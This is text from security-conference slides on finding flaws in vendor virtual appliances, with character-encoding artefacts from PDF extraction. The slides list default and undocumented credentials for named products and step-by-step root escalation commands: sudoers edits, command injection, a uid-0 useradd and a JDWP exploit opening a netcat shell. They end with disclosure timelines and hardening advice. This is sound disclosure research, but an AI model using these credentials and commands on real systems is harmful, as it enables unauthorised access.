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#whoami	

•   Jeremy	Brown	
–   Independent	researcher	/	consultant	
–  Formerly	of	MicrosoN	

•  Windows/Phone/Xbox	Security	
•   Malware	ProtecAon	Center	

–  Also,	Tenable	
•   Nessus	
•   RE	patches	



What	I’m	Not	Talking	About	

•   Rela*vely	non-criAcal	issues	
–  DoS,	XSS,	informaAon	leaks	
–  Clickjacking	(is	this	sAll	a	thing?)	

•   DecrypAng	VM	images	(if	necessary)	
–  This	is	pre-bug	hunAng	stuff	



What	I’m	Talking	About	

•   Remote	Shells	
–  Command	injecAon	
–  Backdoor	or	“support”	accounts	

•   Privilege	EscalaAon	
–  Once	we	have	a	shell,	let’s	escalate	to	root	

•   Other	InteresAng	Bugs	
–  Format	strings,	misconfigured	services	
–  Passwords	liFered	all	over	the	filesystem	



What	is	a	Virtual	Appliance?	

•   Appliances	
–  Network	management,	Firewall,	Kiosk,	SIEM,	etc	

•   Virtual	Appliance	
–  Hardware	
–  SoNware	

•   OS	with	applicaAon	suite	pre-installed	



What	is	a	Virtual	Appliance?	

•   Physical	Appliance	
–  “Let’s	give	them	a	box	with	some	Ethernet	jacks,	
restrict	funcAonality	and	lock	update	availability	
to	a	support	contract”	

•   Virtual	Appliance	
–  “Let’s	dump	/	configure	all	the	device’s	soNware	
and	OS	to	a	VM	image	and	ship	it	to	datacenters”	



What	is	a	Virtual	Appliance?	

References:	
hFps://www.vmware.com/files/pdf/vam/VMware_Virtual_Appliance_SoluAons_White_Paper_08Q3.pdf	
hFps://vmware-partnerpedia-shared.s3.amazonaws.com/documents/Virtual_Appliance_Whitepaper.pdf	

hFp://www.forescout.com/wp-content/media/FS-Virtual_Appliance_Tech_Note.pdf	
	



Important	DisAncAon	

•   The	bugs	found	aren’t	specific	to	environment	
and	Administrator,	they	are	vendor-specific	
–  Eg.	These	are	shipped,	not	created	upon	provision	

•   One	bug	rules	them	all,	just	like	applicaAons	
–  Except	VAs	aren’t	apps,	they’re	scalable	like	PCs	



Popular	Vendors	

•   IBM,	EMC,	HP,	Oracle,	Symantec,	SonicWall,	
VMware,	Cisco	

•   SAP	
–  Thanks	a	lot	for	the	cloud-only	trials!	



Pros/Cons	for	Bug	HunAng	

•   Pros	
–  Likely	share	95%	same	code	as	physical	device	
–  Common	mindset	of	“customers	don’t	have	root”	
which	leads	to	shipping	a	“liFer	box”	

•   Cons	
–  You	can’t	really	make	support	phone	calls	



Why	go	aNer	these	appliances?	

•   Prevalence	
–  More	vendors	offering	both	opAons	for	delivery	

•   Entertainment	
•   Value	



Entertainment	

•   “Here’s	an	image	of	my	work	PC!”	
–   .ssh/known_hosts	
–   .viminfo,	.bash_history	



Entertainment	



Entertainment	

References:	
install.log	

hFps://crackstaAon.net	



Entertainment	



Entertainment	

	
		
								…..	



Entertainment	

•   WHY	WOULD	ANYONE	SUID	ROOT	THE	ID	
BINARY!?!?!	





Value	

•   These	are	obviously	used	in	the	enterprise	
•   Enterprises	put	a	lot	of	money	in	security	
–  Money	!=	Results,	but	let’s	not	worry	about	that	
–   If	nothing	else,	we	are	in	compliance	

•   Customers	(oNen	more	than	vendors)	want	
these	bugs	fixed	



Why	is	security	so	bad?	

•   Many	vendors	don’t	see	what	the	big	deal	is	
–  “Here’s	a	computer,	go	set	it	up,	it’s	real	easy,	
change	the	passwords	if	you	want	to,	it’s	fine”	

Reference:	hFp://www.adempiere.com/ADempiere_Virtual_Appliance_Install	





Acquiring	VAs	

•   Vendor	Websites	
–  “Free	Trial”	
–  “Request	EvaluaAon”	
–  “Demo	Now”	

•   Some	of	these	are	dummy	VMs,	some	are	real	

•   Make	a	purchase	
•   Not	available	
–  Unless	you’re	a	partner	with	support	contract	:’(	
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Image	Analysis	

•   Virtual	Appliance	distribuAon	
–  OVA	containers	provide	the	disk	image	and	
metadata	(VMware,	VirtualBox)	

–  VAs	may	also	come	as	just	a	VHD	(Hyper-V)	



Image	Analysis	

•   Dynamic	View	
–  Boot	up	the	system	and	use	the	local	system	
–  “What	you	see	is	what	you	get”	

•   Procedure	
–  Load	VM	image	into	hypervisor	

•   LimitaAons	
–  Trouble	if	root	isn’t	default	or	shell	is	locked	down	
–  MoAve	to	find	privilege	escalaAon	bugs	though	J	



Image	Analysis	

•   Sta*c	View	
–  Browse	filesystem	in	a	tree	view	
–  Use	regex	to	look	for	interesAng	paFerns	

•   Procedure	
–  Convert	to	raw	filesystem	(eg.	qemu-img)	
–  Browse	with	an	imager	/	forensic	toolkit	

•   LimitaAons	
–  “First	boot”	scripts	could	change	iniAal	values	
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Documented	Accounts	

	
•   Cisco	Paging	Server	v11	
–  OEM	for	Singlewire	SoNware	



Documented	Accounts	

•   SSHD,	Webmin	and	the	Web	Interface	
–  The	first	two	share	the	same	auth	system	
–  The	last	one	does	not	

•   So	what	happens	when	you	change	the	admin	
password	in	the	web	interface?	



Documented	Accounts	

•   This	secAon	only	applies	to	the	web	interface	

•   They	never	talk	about	changing	sshd/wm	credenAals	
•   The	documentaAon	calls	out	the	default	password,	but	

never	asks	or	warns	the	user	to	change	it!@#	

Reference:	hFp://www.cisco.com/c/dam/en/us/td/docs/voice_ip_comm/cucm/singlewire/InformaCastBasicPaging.pdf	



Documented	Accounts	

•   admin@cisco-paging's	password:	[changeMe]	
–  Linux	singlewire	3.2.0-4-686-pae	#1	SMP	Debian	
3.2.57-3+deb7u2	i686	

–  admin@singlewire:~$	



Documented	Accounts	

•   Cisco	might	chalk	this	up	a	documenta0on	bug	
–  But	you	can	go	own	a	bunch	of	paging	servers	



Undocumented	Accounts	

•   EMC	PowerPath	

Reference:	hFp://www.emc.com/products-soluAons/trial-soNware-download/ppve.htm	



Undocumented	Accounts	

	

•   Loaded	2	password	hashes	with	2	different	
salts	(bcrypt	[Blowfish	32/64	X2])	
–  password 	(emcupdate)	

Image:	/via	@bl4sty	



Undocumented	Accounts	

•   $	ssh	emcupdate@emc-pp	
–  Password:	[password]	
–  emcupdate@localhost:~>	

	
•   hFps://emc-pp:5480/#update.Config	



Undocumented	Accounts	

•   IBM	SmartCloud	Monitoring	(Trial-only	tested)	

Reference:	hFp://www-03.ibm.com/soNware/products/en/ibmsmarmoni/	



Undocumented	Accounts	

•   6	users	on	the	system	with	bash	shells	
–  2	users	aren’t	documented	



Undocumented	Accounts	

•   $	ssh	db2sdfe1@smartcloud	
–  Password:	[smartway]	

•   db2sdfe1@scmtrial:~>	id	
–  uid=1003(db2sdfe1)	gid=114(db2fsdm1)	
groups=16(dialout),33(video),114(db2fsdm1)	



Undocumented	Accounts	

•   VMware	Horizon	Mobile	Manager	



Undocumented	Accounts	

•   $	ssh	mmp@vmware-hmm	
–  #	This	is	a	dummy	banner.	Replace	this	with	your	
own	banner,	appropriate	for	the	VA	

–  mmp@vmware-hmm's	password:	[mmp]	

•   mmp@localhost:~>	id	
–  uid=1001(mmp)	gid=100(users)	
groups=100(users),16(dialout),33(video)	



Undocumented	Accounts	

•   VMware	probably	isn’t	going	to	fix	it	as	it’s	EOL	soon	

•   Tested	v1.3,	so	1.3.1	*may*	have	fixed	this	
–  Couldn’t	find	a	way	to	update	to	1.3.1	
–  So	what	if	customers	can’t	update	either?	
–  No	docs	on	how	to	update	nor	what	was	fixed	

Reference:	hFps://my.vmware.com/group/vmware/info?slug=desktop_end_user_compuAng/vmware_horizon_mobile/1_3	



Undocumented	Accounts	

•   Cisco	MSE	(Mobility	Services	Engine)	

Reference:	hFp://www.cisco.com/c/en/us/support/docs/wireless/mobility-services-engine/113462-mse-ha-config-dg-00.html	



Undocumented	Accounts	

•   Two	user	accounts	on	this	appliance	
–   root	
–  oracle	(!?)	

•   Upon	install,	root’s	password	is	set	by	admin	
–  oracle	is	untouched	



Undocumented	Accounts	

•   Cracking	the	password	hash	was	unsuccessful	
–  They	must	have	set	the	password	during	install	



Undocumented	Accounts	

•   We	search	the	filesystem	and	finally…	BINGO	



Undocumented	Accounts	

•   $	ssh	oracle@cisco-mse	
–  oracle@cisco-mse's	password:	[XmpDba123]	

•   -bash-3.2$	id	
–  uid=440(oracle)	gid=201(xmpdba)	
groups=200(oinstall),201(xmpdba),202(xmpoper)	
context=user_u:system_r:unconfined_t:s0	



Undocumented	Accounts	

•   We	have	user..	but	we	want	root	
•   Let’s	take	a	look	at	the	post-install	log	file	

•   Uh,	they	SUID	root	copies	of	chmod	/	chown	
–   I	think	we	can	work	with	that!	



Undocumented	Accounts	

•   -bash-3.2$	ls	-al	/etc/sudoers	
–   -r--r-----	1	root	root	4789	Mar		6	00:27	/etc/
sudoers	

•   -bash-3.2$	
–  /opt/mse/framework/bin/setbackupown	oracle	/
etc/sudoers	

–  /opt/mse/framework/bin/setbackupmod	644	/
etc/sudoers	



Undocumented	Accounts	

•   -bash-3.2$	ls	-al	/etc/sudoers	
–   -rw-r--r--	1	oracle	root	4789	Mar		6	00:27	/etc/
sudoers	

•   Now	that’s	more	like	it	J	



Undocumented	Accounts	

•   -bash-3.2$	echo	"oracle	ALL=(ALL)	
NOPASSWD:ALL"	>>	/etc/sudoers	

•   -bash-3.2$	sudo	bash	
–  sudo:	/etc/sudoers	is	mode	0644,	should	be	0440	
–  sudo:	no	valid	sudoers	sources	found,	qui�ng	

•   Ok,	ok,	let’s	clean	up	aNer	ourselves..	



Undocumented	Accounts	

•   Ok,	ok,	let’s	clean	up	aNer	ourselves	
•   -bash-3.2$	
–  /opt/mse/framework/bin/setbackupown	root	/
etc/sudoers	

–  /opt/mse/framework/bin/setbackupmod	440	/
etc/sudoers	



Undocumented	Accounts	

•   -bash-3.2$	sudo	bash	
•   bash-3.2#	id	
–  uid=0(root)	gid=0(root)	groups=0(root),1(bin),
2(daemon),3(sys),4(adm),6(disk),10(wheel)	
context=user_u:system_r:unconfined_t:s0	



Password	LiFer	

•   Panopta	OnSight	

•   Supported	by	CloudFlare	
–  “[..]	provides	advanced	server	monitoring	and	
outage	management	services	to	both	enterprises	
and	SMBs”	

Reference:	hFps://www.cloudflare.com/apps/panopta	
Image:	hFps://twiFer.com/panopta	



Password	LiFer	

•   Good	job	generaAng	random	credenAals	



Password	LiFer	

•   But,	they	forgot	to	remove	the	.bash_history	

–  Which	just	so	happened	to	contain	a	typo	J	



Password	LiFer	

•   $	ssh	panopta.admin@pan-onsight	
–  panopta.admin@	pan-onsight's	password:	
[rb2svin9bwx7]	

•   [….]	
•   panopta.admin@onsight:~$	





Password	LiFer	

•   panopta.admin@onsight:~$	sudo	bash	
–   [sudo]	password	for	panopta.admin:	[same	pass]	

•   root@onsight:~#	id	
–  uid=0(root)	gid=0(root)	groups=0(root)	



Password	LiFer	

•   Wait,	wait..	
–  Does	that	mean	they’re	keeping	staAc	passwords	
for	users	other	than	the	customer’s	admin	
account?	



Silent	Patches	

•   SevOne	
–  NMS	(Network	Management	System)	



Silent	Patches	

•   Found	an	undocumented	account	
	

•   $	ssh	cmcdr@sevone	
–  Password:	[cmcdr]	

•   [cmcdr@SevOne:/]	[S1V:	5.3.6.0]	[04:04:55]	$	



Silent	Patches	

•   Found	a	juicy	looking	SUID	binary	
•   $	ls	-al	/usr/bin/aslookup	
–   -r-s--x--x	1	root	bin	12752	Mar	26		2013	/usr/bin/
aslookup	

•   $	/usr/bin/aslookup	`perl	-e	'print	"B"	x	1023'`	
–  ***	buffer	overflow	detected	***:	/usr/bin/
aslookup	terminated	



Silent	Patches	

•   If	we	search	for	cmcdr	account	

•   But	the	URL	has	been	removed…	



Silent	Patches	

•   See	cache	



Silent	Patches	

•   The	latest	for	public	download	was	v5.3.6	
–  But	this	was	fixed	in	v5.3.8	

•   The	perks	of	being	a	customer	I	guess	



Command	InjecAon	

Reference:	hFps://www.emc.com/products-soluAons/trial-soNware-download/recoverpoin�orvms.htm	



Command	InjecAon	

•   Default	(and	unchangeable!)	credenAals	
–  boxmgmt:boxmgmt	

•   SSH	in	to	the	management	interface	
–  **	Main	Menu	**	
–   [1]	InstallaAon	
–   [2]	Setup	
–   [3]	Diagnos*cs	
–   […]	



Command	InjecAon	

•   I’ll	take	Diagnos*cs	for	300!	
–   […]	
–   [5]	Run	internal	command	

•   Oh,	that	looks	promising…	
–  Enter	internal	command:	[ssh,	etc,	etc]	





Command	InjecAon	

•   If	we	try	perhaps..	ssh	`bash>&2`	
•   boxmgmt@RecoverPoint:~$	uname	–a;id	
–  Linux	RecoverPoint	3.0.56-k3	#11	SMP	Tue	May	21	
13:50:27	IDT	2013	x86_64	GNU/Linux	

–  uid=562(boxmgmt)	gid=562(boxmgmt)	
groups=562(boxmgmt)	



Command	InjecAon	

•   /bin/run_boxmgmt	is	the	console	interface	
–   It	calls	Java	for	the	UI	/home/kos/kashya/archive/
classes/
com.kashya.recoverpoint.installaAon.client.jar	

–  RunInternalCMDUIStep.class	looks	like	a	good	
one	to	decompile!	



Command	InjecAon	

Reference:	RunInternalCMDUIStep.class	



Command	InjecAon	



Command	InjecAon	

•   Let’s	confirm	our	opAons	in	the	sudoers	file	
–   […]	
–  boxmgmt							ALL	=	NOPASSWD:	/usr/bin/ssh	
–  boxmgmt							ALL	=	NOPASSWD:	/usr/sbin/ethtool	
–  boxmgmt							ALL	=	NOPASSWD:	/usr/sbin/arp	
–  boxmgmt							ALL	=	NOPASSWD:	/usr/bin/arping	
–  boxmgmt							ALL	=	NOPASSWD:	/usr/bin/kps.pl	



Command	InjecAon	

•   boxmgmt@RecoverPoint:~$	sudo	arp	-v	-f	/
etc/shadow	
–  >>	root:$1$Hy6MAnOy
$tlHmRGo2lO4jzlcM42Uto0:13933:0:99999:7:::	

–  arp:	format	error	on	line	1	of	etherfile	/etc/
shadow	!	

–  >>	daemon:*:16040:0:99999:7:::	
–   [...]	



Command	InjecAon	

•   What	is	the	root/admin	password?	

Reference:	hFps://community.emc.com/docs/DOC-25687	



Command	InjecAon	

•   SolarWinds	Log	and	Event	Manager	

•   Runs	SSH	server	on	port	32022	
–  Default	creds	are	cmc:password	

Reference:	hFp://www.solarwinds.com/log-event-manager.aspx	



Command	InjecAon	

•   cmc::acm#	ping	
–  Enter	an	IP	address	or	hostname	to	ping:	
`bash>&2`	

–   […]	
–  cmc@swi-lem:/usr/local/contego$	id	

•   uid=1001(cmc)	gid=1000(trigeo)	groups=1000(trigeo),
4(adm),24(cdrom),25(floppy),104(postgres),
105(snort),1002(dbadmin)	



Command	InjecAon	

•   Mgrconfig	is	the	main	cmc	interface	
–  /usr/local/contego/scripts/mgrconfig.pl	

•   It	calls	various	shell	scripts	to	implement	cmds	
–  contegocontrol.sh	is	writable	by	the	cmc	user	

•   AND	this	script	is	called	via	sudo	
–  cmc	ALL=(ALL)	NOPASSWD:	/usr/local/contego/
scripts/*.sh,	[…]	



Command	InjecAon	

•   If	we	add	something	useful	to	contegocontrol	
–  echo	"ALL	ALL=NOPASSWD:	/bin/bash"	>>	/etc/
sudoers	

–  And	issue	one	of	the	cmds	which	trigger	the	script	

•   cmc@swi-lem:/usr/local/contego$	sudo	bash	
–  /usr/local/contego	#	id	

•   uid=0(root)	gid=0(root)	groups=0(root)	



Format	String	Bug	

•   SolarWinds	Log	and	Event	Manager	
–  cmc::acm#	ping	

•   Enter	an	IP	address	or	hostname	to	ping:	%p	
•   [NO]	Ping	NOT	received	from	7f9830	

•   Although	this	CLI	was	wriFen	in	Perl..	
–  You	might	want	to	give	that	2005	paper	a	read	

Reference:	hFp://www.securityfocus.com/archive/1/418460/30/0/threaded	



Root	password?	

•   SolarWinds	LEM	&	Others	

References:	
hFp://knowledgebase.solarwinds.com/kb/quesAons/4921/LEM+Appliance+Security+InformaAon+for+v5.6+and+Later	

hFps://thwack.solarwinds.com/community/solarwinds-community/product-blog/blog/2013/09/03/what-were-
working-on--log-and-event-manager-lem	

hFps://thwack.solarwinds.com/thread/44161	
hFps://thwack.solarwinds.com/thread/55095	



Crazy	SUID	Binaries	

•   Cisco	Prime	Infrastructure	
–   “Simplified	Management	from	Branch	to	DataCenter”	

•   ade	#	cat	suid.log	|	wc	-l	
–  67	



Crazy	SUID	Binaries	

•   ade	#	cat	suid.log	|	grep	-i	shell	
–  /opt/CSCOlumos/bin/runShellCommand	
–  /opt/CSCOlumos/bin/runShellAsRoot	



Crazy	SUID	Binaries	

Reference:	/opt/CSCOlumos/bin/runShellAsRoot	



Crazy	SUID	Binaries	

•   $	/opt/CSCOlumos/bin/runShellAsRoot	
–  SegmentaAon	fault	(core	dumped)	

•   They	didn’t	even	check	if	given	an	argument	





Crazy	SUID	Binaries	

•   So	let’s	give	it	an	argument!	
•   $	cat	/tmp/test	
–   id	

•   $	/opt/CSCOlumos/bin/runShellAsRoot	/tmp/
test	
–  uid=0(root)	gid=0(root)	groups=502(cisco)	



Crazy	SUID	Binaries	

•   What	about	that	runShellCommand	program?	
•   $	/opt/CSCOlumos/bin/runShellCommand	id	
–  String	obtained	on	concatenaAon	is	2	id	
–  uid=0(root)	gid=0(root)	groups=502(cisco)	



Crazy	SUID	Binaries	

•   GoFa	give	them	credit	though	
–   It	looks	like	they	really	stepped	up	security	here	



Crazy	SUID	Binaries	

•   Ooops!	

•   $	/opt/CSCOlumos/bin/runShellCommand	/
usr/sbin/useradd	-o	-u	0	-g	0	-p	123456	root2	
–  String	obtained	on	concatenaAon	is	10	/usr/sbin/
useradd	-o	-u	0	-g	0	-p	123456	root2	

•   $	tail	-1	/etc/passwd	
–   root2:x:0:0::/home/root2:/bin/bash	



Crazy	SUID	Binaries	+	Remote	

•   Cisco	Prime	CollaboraAon	Assurance	

Reference:	hFp://www.cisco.com/c/en/us/products/cloud-systems-management/prime-collaboraAon/index.html	



Crazy	SUID	Binaries	+	Remote	

•   Two	accounts	on	the	system	
–  Root	password	is	set	upon	install	
–  Cmuser	password	is	only	reset	only	upon	login	

•   Default	password	is	also	cmuser	

•   Corner-case:	setup	without	full	configuraAon	
–  So	this	isn’t	widely	exploitable,	but	the	case	study	
is	noteworthy	



Crazy	SUID	Binaries	+	Remote	

•   Locally,	we	see	an	interesAng	SUID	binary	
–  /opt/system/bin/firewall	

•   Obviously	controls	the	firewall	rules	



Crazy	SUID	Binaries	+	Remote	

•   Also,	there’s	an	interesAng	server	currently	
unexposed	remotely	due	to	the	firewall	
–   tcp								0						0	0.0.0.0:8010																0.0.0.0:*																			
LISTEN						5637/emsam_perfmonengine	

•   Turns	out	to	be	a	Java	Debug	Server	
–  Wasn’t	this	hacked	into	pieces	before?	



Crazy	SUID	Binaries	+	Remote	

Reference:	hFp://blog.ioacAve.com/2014/04/hacking-java-debug-wire-protocol-or-how.html	



Crazy	SUID	Binaries	+	Remote	

•   So	maybe	we	can..	turn	the	firewall	off?	
–   [cmuser@cpca	~]$	/opt/system/bin/firewall	-v	-c	

•   Clearing	the	firewall	



Crazy	SUID	Binaries	+	Remote	

•   $	python	jdwp-shellifier.py	-t	cpca	-p	8010	--cmd	
"/home/cmuser/nc	-l	-p	5555	-e	/bin/bash"	
–   [+]	TargeAng	'cpca:8010'	
–   [+]	Reading	se�ngs	for	'Java	HotSpot(TM)	64-Bit	
Server	VM	-	1.6.0_81'	

–  …..	
–   [+]	RunAme.getRunAme()	returned	context	id:0x9d2	
–   [+]	found	RunAme.exec():	id=4ba62af8	
–   [+]	RunAme.exec()	successful,	retId=9d3	
–   [!]	Command	successfully	executed	



Crazy	SUID	Binaries	+	Remote	

•   $	nc	cpca	5555	
–   id	
–  uid=0(root)	gid=0(root)	groups=0(root),1(bin),
2(daemon),3(sys),4(adm),6(disk),10(wheel)	





Agenda	

I.   IntroducAon	
II.   Image	Analysis	
III.   VulnerabiliAes	

I.   (un)documented	Accounts	
II.   Password	LiFer	
III.   Misc	Bugs	

IV. Conclusion	



Vendor	CommunicaAon	



Brief	Disclosure	Timelines	

•   SolarWinds	
–  We’ll	send	our	pgp	key	soon!	fixed	in	~5	months	

•   EMC	(PowerPath)	
–  Fixed	the	bug	in	just	over	a	month	

•   Panopta	
–  Noted	“patched	potenAal	security	vulnerability”	

•   Cisco	(Prime	Infrastructure)	
–  Released	a	private	advisory	aNer	several	months	



Brief	Disclosure	Timelines	

•   VMware	
–   Contacted	me	days	before	iniAal	disclosure	(9/26)	
–   I	sent	them	full	details	&	they	decided	not	to	fix	(EOL)	

•   SolarWinds	
–   Fixed	the	command	injecAon	on	09/01/2015	

•   Cisco	(Mobility	Services	Engine)	
–   Fixed	undocumented	account	/	PE	on	11/04/2015	

•   EMC	(vRPA)	
–  Advisory	released	in	July	

Reference:	hFp://www.solarwinds.com/documentaAon/lem/docs/releasenotes/
releasenotes.htm	



Playing	Defense	

•   Clean	it	up	before	you	ship	it!	
–  Don’t	leave	passwords	in	plain	text	to	all	users	
–  Don’t	leave	crazy	SUID	binaries	on	boxes	
–  Nonsense	is	shipping	.ssh	and	.vim	directories	

•   Stop	thinking	it’s	OK	to	have	users	on	the	
system	with	passwords	unknown	to	
customers	



Playing	Defense	

•   Firewalling	services	is	a	great	pracAce	
–   (typically)	There’s	no	point	in	audiAng	a	service	
only	accessible	to	localhost	

•   Make	users	set	all	passwords	or	generate	
random	ones	for	them	upon	install	
–  GeneraAng	one	for	all	the	clones	is	not	enough	
–  Se�ng	them	to	“password”	is	worst	



Playing	Defense	

•   BlacklisAng	users	from	remote	access	
–  Cisco	Prime	CollaboraAon	Deployment	

•   We’re	able	to	login	locally,	but	no	SSH	



SoluAons	

•   Don’t	mix	demos	and	trials	
–  This	leads	to	bad	security	assumpAons	

•   Don’t	ship	the	master	development	VM	
–  Separate	dev	and	shipping	images	

•   Checklist	of	“must	not	haves”	for	each	VM	
–  Most	of	the	issues	likely	wouldn’t	be	found	with	
code	review	



Must	Not	Haves	

•   Accounts	
–  default	passwords	
–  undocumented	(document	them!)	

•   Files	
–  unencrypted	passwords	in	logs	
–  containing	sensiAve	data	(history,	db,	etc)	

•   Local	System	
–  world-executable	&	SUID	
–  world-writable	scripts	



Must	Not	Haves	

•   Services	
–  Locally-meant,	but	listening	on	the	network	
–  Using	different	authenAcaAon	systems	

•   Assump*ons	
–  “This	is	only	a	demo	or	trial,	not	for	producAon”	
–  “I	can	hide	this	private	key	in	this	hidden	folder”	
–  “Only	an	admin	can	execute	this	script”	
–  These	can	be	invalidated	via	code	churn	/	updates	



Esoteric	Thoughts	

•   Lots	of	installaAon	collateral	shipped	
–  Eg.	backup,	restore,	/install	directories	

•   Vendor	services	
–  Helpers	listening	on	local	and	network	interfaces	
–  Think	about	“support”	services	/	remote	access	

•   Read	the	documentaAon	
–  Can	be	the	difference	between	a	bug	and	
technically	a	feature	



Esoteric	Thoughts	

•   Forensics	would	be	a	game	changer	here	
–  Professional	suites	are	preFy	expensive,	but…	
–  “We’re	deleted	all	the	sensiAve	files,	boss”	



Things	are	heaAng	up	

Reference:	hFp://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20150625-ironport	



Conclusion	

•   This	area	is	sAll	largely	unexplored	
•   They’re	only	going	to	become	more	prevalent	
–  More	vendors	will	start	converAng	metal	->	bits	
–   It’s	cheaper	and	datacenters	rule	these	days	

•   And	there’s	a	lot	more	work	to	do	
–  Ge�ng	access	to	these	is	one	hurdle	(eg.	FireEye)	
–  The	vendor	(properly)	fixing	the	bugs	is	another	



The	End	

	
	

QuesAons?	


